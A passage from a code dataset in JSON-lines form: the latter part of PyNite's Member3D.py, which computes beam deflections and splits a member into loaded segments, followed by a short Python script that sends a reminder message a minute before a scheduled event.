round(segment.x1,10) and round(x,10) < round(segment.x2,10):\n \n return segment.Deflection(x - segment.x1)\n \n if round(x,10) == round(self.L,10):\n \n lastIndex = len(self.SegmentsY) - 1\n return self.SegmentsY[lastIndex].Deflection(x - self.SegmentsY[lastIndex].x1) \n\n#%%\n def MaxDeflection(self, Direction):\n \"\"\"\n Returns the maximum deflection in the member.\n \n Parameters\n ----------\n Direction : {\"dy\", \"dz\"}\n The direction in which to find the maximum deflection.\n \"\"\"\n \n # Initialize the maximum deflection\n dmax = 0\n \n # Check the deflection at 100 locations along the member and find the largest value\n for i in range(100):\n d = self.Deflection(Direction, self.L * i / 99)\n if d > dmax:\n dmax = d\n \n # Return the largest value\n return dmax\n \n#%%\n def MinDeflection(self, Direction):\n \"\"\"\n Returns the minimum deflection in the member.\n \n Parameters\n ----------\n Direction : {\"dy\", \"dz\"}\n The direction in which to find the minimum deflection.\n \"\"\"\n \n # Initialize the minimum deflection\n dmin = 0\n \n # Check the deflection at 100 locations along the member and find the smallest value\n for i in range(100):\n d = self.Deflection(Direction, self.L * i / 99)\n if d < dmin:\n dmin = d\n \n # Return the smallest value\n return dmin\n \n#%%\n def PlotDeflection(self, Direction):\n \"\"\"\n Plots the deflection diagram for the member\n \"\"\"\n \n ax = Member3D.__axis()\n ax.axhline(0, color='black', lw=1)\n ax.grid()\n \n x = []\n d = []\n \n # Calculate the deflection diagram\n for i in range(20):\n \n x.append(self.L / 19 * i)\n d.append(self.Deflection(Direction, self.L / 19 * i))\n\n Member3D.__plt.plot(x, d)\n Member3D.__plt.ylabel('Deflection')\n Member3D.__plt.xlabel('Location')\n Member3D.__plt.show()\n \n#%% \n # Divides the element up into mathematically continuous segments along each axis\n def SegmentMember(self):\n \n # Get the member's length and stiffness properties\n L = self.L\n E = self.M.E\n Iz = self.S.Izz\n Iy = self.S.Iyy\n SegmentsZ = self.SegmentsZ\n SegmentsY = self.SegmentsY\n \n # Create a list of discontinuity locations\n disconts = [0, L] # Member ends\n \n for load in self.PtLoads: \n disconts.append(load[2]) # Point load locations\n \n for load in self.DistLoads: \n disconts.append(load[3]) # Distributed load start locations\n disconts.append(load[4]) # Distributed load end locations\n \n # Sort the list and eliminate duplicate values\n disconts = sorted(set(disconts))\n \n # Clear out old data from any previous analyses\n SegmentsZ.clear()\n SegmentsY.clear()\n \n # Create a list of mathematically continuous segments for each direction\n for index in range(len(disconts) - 1):\n \n # z-direction segments (bending about local z-axis)\n newSeg = BeamSegment() # Create the new segment\n newSeg.x1 = disconts[index] # Segment start location\n newSeg.x2 = disconts[index+1] # Segment end location\n newSeg.EI = E*Iz # Segment flexural stiffness\n SegmentsZ.append(newSeg) # Add the segment to the list\n \n # y-direction segments (bending about local y-axis)\n newSeg = BeamSegment() # Create the new segment\n newSeg.x1 = disconts[index] # Segment start location\n newSeg.x2 = disconts[index+1] # Segment end location\n newSeg.EI = E*Iy # Segment flexural stiffness\n SegmentsY.append(newSeg) # Add the segment to the list\n \n # Get the member local end forces, local fixed end reactions, and local displacements\n f = self.f() # Member local end force vector\n fer = self.__fer_Unc() # Member local fixed end reaction vector\n d = self.d() # Member local displacement vector\n \n # Get the local deflections and calculate the slope at the start of the member\n # Note that the slope may not be available directly from the local displacement vector if member end releases have been used,\n # so slope-deflection has been applied to solve for it\n m1z = f[5, 0] # local z-axis moment at start of member\n m2z = f[11, 0] # local z-axis moment at end of member\n m1y = -f[4, 0] # local y-axis moment at start of member\n m2y = -f[10, 0] # local y-axis moment at end of member\n fem1z = fer[5, 0] # local z-axis fixed end moment at start of member\n fem2z = fer[11, 0] # local z-axis fixed end moment at end of member\n fem1y = -fer[4, 0] # local y-axis fixed end moment at start of member\n fem2y = -fer[10, 0] # local y-axis fixed end moment at end of member\n delta1y = d[1, 0] # local y displacement at start of member\n delta2y = d[7, 0] # local y displacement at end of member\n delta1z = d[2, 0] # local z displacement at start of member\n delta2z = d[8, 0] # local z displacement at end of member\n SegmentsZ[0].delta1 = delta1y\n SegmentsY[0].delta1 = delta1z\n SegmentsZ[0].theta1 = 1/3*((m1z - fem1z)*L/(E*Iz) - (m2z - fem2z)*L/(2*E*Iz) + 3*(delta2y - delta1y)/L)\n SegmentsY[0].theta1 = 1/3*((m1y - fem1y)*L/(E*Iy) - (m2y - fem2y)*L/(2*E*Iy) + 3*(delta2z - delta1z)/L)\n \n # Add loads to each segment\n for i in range(len(SegmentsZ)):\n \n # Get the starting point of the segment\n x = SegmentsZ[i].x1\n \n # Initialize the distributed loads on the segment to zero\n SegmentsZ[i].w1 = 0\n SegmentsZ[i].w2 = 0\n SegmentsZ[i].p1 = 0\n SegmentsZ[i].p2 = 0\n SegmentsY[i].w1 = 0\n SegmentsY[i].w2 = 0\n SegmentsY[i].p1 = 0\n SegmentsY[i].p2 = 0\n \n # Initialize the slope and displacement at the start of the segment\n if i > 0: # The first segment has already been initialized\n SegmentsZ[i].theta1 = SegmentsZ[i-1].Slope(SegmentsZ[i-1].Length())\n SegmentsZ[i].delta1 = SegmentsZ[i-1].Deflection(SegmentsZ[i-1].Length())\n SegmentsY[i].theta1 = SegmentsY[i-1].Slope(SegmentsY[i-1].Length())\n SegmentsY[i].delta1 = SegmentsY[i-1].Deflection(SegmentsY[i-1].Length())\n \n # Add the effects of the beam end forces to the segment\n SegmentsZ[i].P1 = f[0,0]\n SegmentsZ[i].V1 = f[1,0]\n SegmentsZ[i].M1 = -f[5,0] + f[1,0]*x\n SegmentsY[i].P1 = f[0,0]\n SegmentsY[i].V1 = f[2,0]\n SegmentsY[i].M1 = f[4,0] + f[2,0]*x\n \n # Add effects of point loads occuring prior to this segment\n for ptLoad in self.PtLoads:\n \n if round(ptLoad[2],10) <= round(x,10):\n \n if ptLoad[0] == \"Fx\":\n SegmentsZ[i].P1 += ptLoad[1]\n elif ptLoad[0] == \"Fy\":\n SegmentsZ[i].V1 -= ptLoad[1]\n SegmentsZ[i].M1 -= ptLoad[1]*(x-ptLoad[2])\n elif ptLoad[0] == \"Fz\":\n SegmentsY[i].V1 -= ptLoad[1]\n SegmentsY[i].M1 -= ptLoad[1]*(x - ptLoad[2])\n elif ptLoad[0] == \"My\":\n SegmentsY[i].M1 -= ptLoad[1]\n elif ptLoad[0] == \"Mz\":\n SegmentsZ[i].M1 -= ptLoad[1]\n \n # Add distributed loads to the segment\n for distLoad in self.DistLoads:\n \n # Get the parameters for the distributed load\n Direction = distLoad[0]\n w1 = distLoad[1]\n w2 = distLoad[2]\n x1 = distLoad[3]\n x2 = distLoad[4]\n \n # Determine if the load affects the segment\n if round(x1,10) <= round(x,10):\n \n if Direction == \"Fx\":\n \n # Determine if the load ends after the start of the segment\n if round(x2,10) > round(x,10):\n \n # Break up the load and place it on the segment\n # Note that 'w1' and 'w2' are really 'p1' and 'p2' here\n SegmentsZ[i].p1 += (w2 - w1)/(x2 - x1)*(x - x1) + w1\n SegmentsZ[i].p2 += (w2 - w1)/(x2 - x1)*(SegmentsZ[i].x2 - x1) + w1\n SegmentsY[i].p1 += (w2 - w1)/(x2 - x1)*(x - x1) + w1\n SegmentsY[i].p2 += (w2 - w1)/(x2 - x1)*(SegmentsY[i].x2 - x1) + w1\n \n # Calculate the magnitude of the load at the start of the segment\n w2 = w1+(w2-w1)/(x2-x1)*(x-x1)\n x2 = x\n \n # Calculate the axial force at the start of the segment\n SegmentsZ[i].P1 -= (w1 + w2)/2*(x2 - x1)\n SegmentsY[i].P1 -= (w1 + w2)/2*(x2 - x1)\n \n elif Direction == \"Fy\":\n \n # Determine if the load ends after the start of the segment\n if round(x2,10) > round(x,10):\n \n # Break up the load and place it on the segment\n SegmentsZ[i].w1 += (w2 - w1)/(x2 - x1)*(x - x1) + w1\n SegmentsZ[i].w2 += (w2 - w1)/(x2 - x1)*(SegmentsZ[i].x2 - x1) + w1\n \n # Calculate the magnitude of the load at the start of the segment\n # This will be used as the 'x2' value for the load prior to the start of the segment\n w2 = w1 + (w2 - w1)/(x2 - x1)*(x - x1)\n x2 = x\n \n # Calculate the shear and moment at the start of the segment due to the load\n SegmentsZ[i].V1 -= (w1 + w2)/2*(x2 - x1)\n SegmentsZ[i].M1 -= (x1 - x2)*(2*w1*x1 - 3*w1*x + w1*x2 + w2*x1 - 3*w2*x + 2*w2*x2)/6\n \n elif Direction == \"Fz\":\n \n # Determine if the load ends after the start of the segment\n if round(x2,10) > round(x,10):\n \n # Break up the load and place it on the segment\n SegmentsY[i].w1 += (w2 - w1)/(x2 - x1)*(SegmentsY[i].x1 - x1) + w1\n SegmentsY[i].w2 += (w2 - w1)/(x2 - x1)*(SegmentsY[i].x2 - x1) + w1\n \n # Calculate the magnitude of the load at the start of the segment\n w2 = w1 + (w2 - w1)/(x2 - x1)*(x - x1)\n x2 = x\n \n # Calculate the shear and moment at the start of the segment due to the load\n SegmentsY[i].V1 -= (w1 + w2)/2*(x2 - x1)\n SegmentsY[i].M1 -= (x1 - x2)*(2*w1*x1 - 3*w1*x + w1*x2 + w2*x1 - 3*w2*x + 2*w2*x2)/6\n","sub_path":"PyNite/Member3D.py","file_name":"Member3D.py","file_ext":"py","file_size_in_byte":39714,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"221376157","text":"from datetime import date\nimport currentTime as time\nimport eventTime\nimport time as timeFreeze\nfrom mainSendMessage import sendMessage\n\nwhile True:\n # Get the current time while refreshing every 5 secs:\n currentVremya = time.getCurrentTime()\n vremyaHMS = currentVremya.split(':')\n currentVremyaSecs = (int(vremyaHMS[0]) * 3600) + (int(vremyaHMS[1]) * 60) + (int(vremyaHMS[2]))\n todayDate = str(date.today()).split(\"-\")[1]\n\n # Get the event time while refreshing every 5 secs, any recent updates will be added!\n eventVremya = eventTime.eventTime()\n eventDetails = eventTime.eventInfo()\n eventDai = eventTime.eventDay().split(\"-\")[1]\n eventVremyaList = eventVremya.split(':')\n eventSecs = (int(eventVremyaList[0]) * 3600) + (int(eventVremyaList[1]) * 60) + (int(eventVremyaList[2]))\n\n print(eventSecs, currentVremyaSecs, currentVremyaSecs - eventSecs)\n\n if int(todayDate) == int(eventDai):\n if eventSecs - 60 < currentVremyaSecs < eventSecs:\n print(f\"Less than a minute left for the event {eventDetails}\")\n sendMessage(f\"Less than a minute left for the event {eventDetails}\")\n timeFreeze.sleep(61)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1175,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}